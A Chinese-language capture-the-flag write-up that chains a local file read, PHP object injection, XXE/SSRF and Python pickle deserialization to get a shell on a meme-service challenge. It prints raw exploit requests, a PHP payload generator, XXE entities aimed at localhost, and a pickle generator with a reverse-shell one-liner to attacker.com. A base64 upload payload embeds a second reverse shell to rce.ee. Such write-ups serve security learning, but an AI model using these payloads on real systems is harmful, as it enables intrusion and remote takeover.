漏洞组合利用:LFR+XXE+PHP/Python反序列化getshell

一、前言

本地文件读取,LFR(Local File Read)是一种很常见的Web漏洞,它的危害却有一定的限度,但在LFR的基础上,进行代码审计,结合一系列其他漏洞,则可能产生意想不到的效果。

本篇文章的思路来源于某道CTF题目,主要从LFR开始,结合代码审计发现的其他问题,在一系列bug chains的组合利用之下,最终达到命令执行的效果。

涉及到的漏洞大概有:

  1. LFR
  2. PHP对象注入
  3. XXE(SSRF)
  4. Python反序列化漏洞(pickle)

二、 漏洞详情

2.1 任意文件读取-LFR

在访问某个站点时,发现该站点存在LFR漏洞,其中某个请求会产生一个文本模板,由于未对请求中的文本路径做限制,从而导致了本地文件读取的问题,其请求片段大致如下:

 POST /api/generate.php HTTP/1.1
 Host: xxx.com
 Connection: close
 Content-Length: 72
 Accept: */*
 Origin: https://xxx.com
 X-Requested-With: XMLHttpRequest
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
 Referer: https://h1-5411.h1ctf.com/generate.php
 Accept-Encoding: gzip, deflate
 Accept-Language: en-US,en;q=0.9,de;q=0.8
 Cookie: PHPSESSID=
 
 template=../../../../../../etc/passwd&type=text&top-text=ad&bottom-text=asd

然后会得到如下响应:

 {
   "meme_path": "../data/memes/756c689bcd8268cd3114792ed5a.txt"
 }

接下来,通过网页去访问/data/memes/756c689bcd8268cd3114792ed5a.txt,即可查看到/etc/passwd的内容。

wKg0C2GHs8OAcvVoAACjET8iBm0333.png

就是一个简单的LFR漏洞,要想进一步利用,还需要更多信息。

不过,凭借该漏洞,我们可以读取服务端的PHP代码,最开始读取的是config.php,主要有下面这些文件。

 config.php
 includes/classes.php
 api/generate.php
 api/export_memes.php
 api/import_memes.php

2.2 PHP Object Injection && XXE

在审计classes.php时,发现了一个函数parse()存在XXE漏洞,只要想办法控制config_raw的内容即可触发。

 // 开启了外部实体,存在XXE问题
 libxml_disable_entity_loader(false);
 // ...
 function parse() {
         $dom = new DOMDocument();
         $dom-> ($this->config_raw, LIBXML_NOENT | LIBXML_DTDLOAD);
         $o = simplexml_import_dom($dom);
         $this->top_text = $o->top_text;
         $this->bottom_text = $o->bottom_text;
         // ...
 }

但是在我们目前能审计的所有代码中,这个函数所在的类ConfigFile并没有被初始化,也就是说,这个漏洞暂时无法利用。

到现在为止,我们手上有一个LFR,一个暂无法利用的XXE。

接着审计发现,ConfigFile类有一个魔术方法__toString(),这个方法会在打印ConfigFile实例的时候被调用,值得注意的是,__toString()方法调用了parse()函数。

 class ConfigFile {
     function _construct($url) {
         $this->config_raw = file_get_contents($url);
     }
     // ...
     function parse() {
       $dom = new DOMDocument();
       $dom->loadXML($this->config_raw, LIBXML_NOENT | LIBXML_DTDLOAD);
       $o = simplexml_import_dom($dom);
 
       $this->top_text = $o->toptext;
       $this->bottom_text = $o->bottomtext;
       $this->template = $o->template;
       $this->type = $o->type;
     }
     
     function __toString() {
       // 调用了parse,该函数存在XXE问题
       $this->parse();
       $debug = "";
       $debug .= "Debug Info :\n";
       $debug .= "TopText => {$this->top_text}\n";
       $debug .= "BottomText => {$this->bottom_text}\n";
       $debug .= "Template Location => {$this->template}\n";
       $debug .= "Template Type => {$this->type}\n";
       return $debug;
     }
 }

这我们就找到了可能的利用点——即寻找这个类在哪里被打印了。

接着审计代码,发现了一些值得注意的点。如下:

/api/import_memes.php

可以看到,该段代码是将我们请求中的文件上传内容反序列化,显然文件内容用户可控。并且会通过array_merge()来将反序列化后的内容存储到数组$_SESSION['memes']中。

 <?php
   require_once("../includes/config.php");
 
   if (isset($_FILES['f'])) {
     $new_memes = unserialize(base64_decode(
       file_get_contents($_FILES['f']['tmp_name'])));
     $_SESSION['memes'] = array_merge($_SESSION['memes'], $new_memes);
   }
 
   header("Location: /memes.php");
 ?>

/api/export_memes.php

序列化$_SESSION['memes']并打印。

 //export_memes.php
 <?php
   require_once("../includes/config.php");
 
   header('Content-Type: application/octet-stream');
   header('Content-Disposition: attachment; filename="'.time().'_export.memepak"');
   echo base64_encode(serialize($_SESSION['memes']));
 ?>

这里有个小问题,就是$_SESSION['memes']是个数组,数组和object不能直接array_merge(),不然会报错,必须把object包裹在一个数组中。这个export的打印就不能利用了。下文触发XXE用的是generate接口。

generate.php

  foreach($_SESSION['memes'] as $meme) {
       ?>
         <iframe width="100%" height="450" frameborder="0"
                 src="<?php echo htmlentities($meme); ?>"></iframe>
       <?php
         }
       }
       ?>

这段代码会遍历**$_SESSION['memes'],然后通过echo打印它的每一个value。

综上,我们就有了利用思路,即构造恶意对象+序列化得到payload,然后调用import接口触发反序列化,再调用generate接口触发XXE。(也就是对象注入+XXE)

 <?php
 class ConfigFile{
 
     function __construct($url) {
       $this->config_raw = file_get_contents($url);
     }
 
     function parse() {
      echo "i was called";  
 $dom = new DOMDocument();
       $dom->loadXML ($this->config_raw, LIBXML_NOENT | LIBXML_DTDLOAD);
       $o = simplexml_import_dom($dom);
       $this->top_text = $o->toptext;
       $this->bottom_text = $o->bottomtext;
       $this->template = $o->template;
       $this->type = $o->type;
   }
 
     function __toString() {
         $this->parse();
         echo $this->template;
         return "I am a stirng";
 }
 }
 $obj=new ConfigFile('asd');
 $obj->config_raw='<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "http://127.0.0.1:1337" >]><note><toptext>Tove</toptext><bottomtext>Jani</bottomtext><type>Reminder</type><template>&xxe;</template></note>';
 echo base64_encode(serialize(array($obj)));
 echo "\n";

执行以上代码获得payload:

wKg0C2GPi3WAbFm8AABp6gelUY010.png

调用import接口,触发反序列化。

wKg0C2GPi8WAGLmSAACbXuDcHU4590.png

再调用最开始的generate获得meme内容,得到如下结果:

 Internal Meme Service
 
 Meme Service - Internal Maintenance API - v0.1 (Alpha); API Documentation: Version 0.1 - Endpoints: 
 /status - View maintenance status; 
 /update-status Change maintenance status; 
 Debug: The debug parameter allows debugging;

2.3 Python反序列化漏洞-UnPickling

使用XXE(SSRF)探测服务器端口后发现,1337端口运行着maintenance api,并且有着/status/update-status两个接口,而且还有一个debug参数,会在请求时给我们更多的信息。

之后发现update-stauts也接收一个status参数,用来将模式在off和on之间切换。

利用XXE访问http://127.0.0.1:1337/status?debug=1,通过generate查看返回结果。它的返回内容在解码后似乎是一个 Python Pickle 序列化对象。

// 返回结果
Maintenance mode: off | Debug: KGlhcHAKU3RhdHVzCnAxCihkcDIKUydtZXNzYWdlJwpwMwpTJ01haW50ZW5hbmNlIG1vZGU6IG9mZicKcDQKc1MnbWFpbnRlbmFuY2UnCnA1CkkwMApzYi4=

// base64解码后
(iapp
Status
p1
(dp2
S'message'
p3
S'Maintenance mode: off'
p4
sS'maintenance'
p5
I00
Sb.

然后访问/update-status?status=&debug=1,得到如下返回:

 A new status has been loaded. Automatic reloading not implemented yet!

很自然就会想到,利用python pickle反序列化漏洞反弹shell。

所以使用下面的代码来创建一个base64编码的pickle对象,从而将shell反弹到我们的VPS上。

 import cPickle
 import sys
 import base64
 
 DEFAULT_COMMAND = "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"attacker.com\",8000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"
 
 class PickleRce(object):
     def __reduce__(self):
         import os
         return (os.system,(DEFAULT_COMMAND,))
 
 print base64.b64encode(cPickle.dumps(PickleRce()))

在VPS中使用nc监听8000端口,然后调用import接口来触发漏洞

 POST /api/import_memes.php HTTP/1.1
 Host: xxx.com
 Cookie: xxx
 
 ------WebKitFormBoundaryi9X2MAeAOhvJm616
 Content-Disposition: form-data; name="f"; filename="222.memepak"
 Content-Type: application/octet-stream
 
 YToxOntpOjA7TzoxMDoiQ29uZmlnRmlsZSI6MTp7czoxMDoiY29uZmlnX3JhdyI7czo2MDI6Ijw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IlVURi04Ij8+IDwhRE9DVFlQRSBmb28gWzwhRUxFTUVOVCBmb28gQU5ZID48IUVOVElUWSB4eGUgU1lTVEVNICJodHRwOi8vbG9jYWxob3N0OjEzMzcvdXBkYXRlLXN0YXR1cz9zdGF0dXM9WTNCdmMybDRDbk41YzNSbGJRcHdNUW9vVXlkd2VYUm9iMjRnTFdNZ1hDZHBiWEJ2Y25RZ2MyOWphMlYwTEhOMVluQnliMk5sYzNNc2IzTTdjejF6YjJOclpYUXVjMjlqYTJWMEtITnZZMnRsZEM1QlJsOUpUa1ZVTEhOdlkydGxkQzVUVDBOTFgxTlVVa1ZCVFNrN2N5NWpiMjV1WldOMEtDZ2ljbU5sTG1WbElpdzBORE1wS1R0dmN5NWtkWEF5S0hNdVptbHNaVzV2S0Nrc01DazdJRzl6TG1SMWNESW9jeTVtYVd4bGJtOG9LU3d4S1RzZ2IzTXVaSFZ3TWloekxtWnBiR1Z1YnlncExESXBPM0E5YzNWaWNISnZZMlZ6Y3k1allXeHNLRnNpTDJKcGJpOXphQ0lzSWkxcElsMHBPMXduSndwd01ncDBVbkF6Q2k0PSZkZWJ1Zz0xIiA+XT48bm90ZT48dG9wdGV4dD5Ub3ZlPC90b3B0ZXh0Pjxib3R0b210ZXh0Pkphbmk8L2JvdHRvbXRleHQ+PHR5cGU+UmVtaW5kZXI8L3R5cGU+PHRlbXBsYXRlPiZ4eGU7PC90ZW1wbGF0ZT48L25vdGU+Ijt9fQ==
 ------WebKitFormBoundaryi9X2MAeAOhvJm616--

上述文本解码后是

 a:1:{i:0;O:10:"ConfigFile":1:{s:10:"config_raw";s:602:"<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "http://localhost:1337/update-status?status=Y3Bvc2l4CnN5c3RlbQpwMQooUydweXRob24gLWMgXCdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgicmNlLmVlIiw0NDMpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pO1wnJwpwMgp0UnAzCi4=&debug=1" >]><note><toptext>Tove</toptext><bottomtext>Jani</bottomtext><type>Reminder</type><template>&xxe;</template></note>";}}

然后成功在VPS上获取到了反弹过来的shell,顺利在/app目录下读到了flag文件。

三、总结

总结一下整个利用链路吧。

这个站点整个的漏洞利用,是首先有一个很容易发现的任意文件读取,通过该漏洞,我们读取到了服务端的部分源码文件,进一步审计代码,发现了XXE漏洞。

这里XXE利用有点tricky,要结合PHP的对象注入和网站具体功能才能触发。

之后利用XXE来探测服务器端口,通过返回的详情发现了1337端口的服务存在python反序列化漏洞,利用这个可以反弹shell。之后再结合XXE来打1337端口的服务,就可以成功getshell。

免责声明:文章内容不代表本站立场,本站不对其内容的真实性、完整性、准确性给予任何担保、暗示和承诺,仅供读者参考,文章版权归原作者所有。如本文内容影响到您的合法权益(内容、图片等),请及时联系本站,我们会及时删除处理。查看原文

为您推荐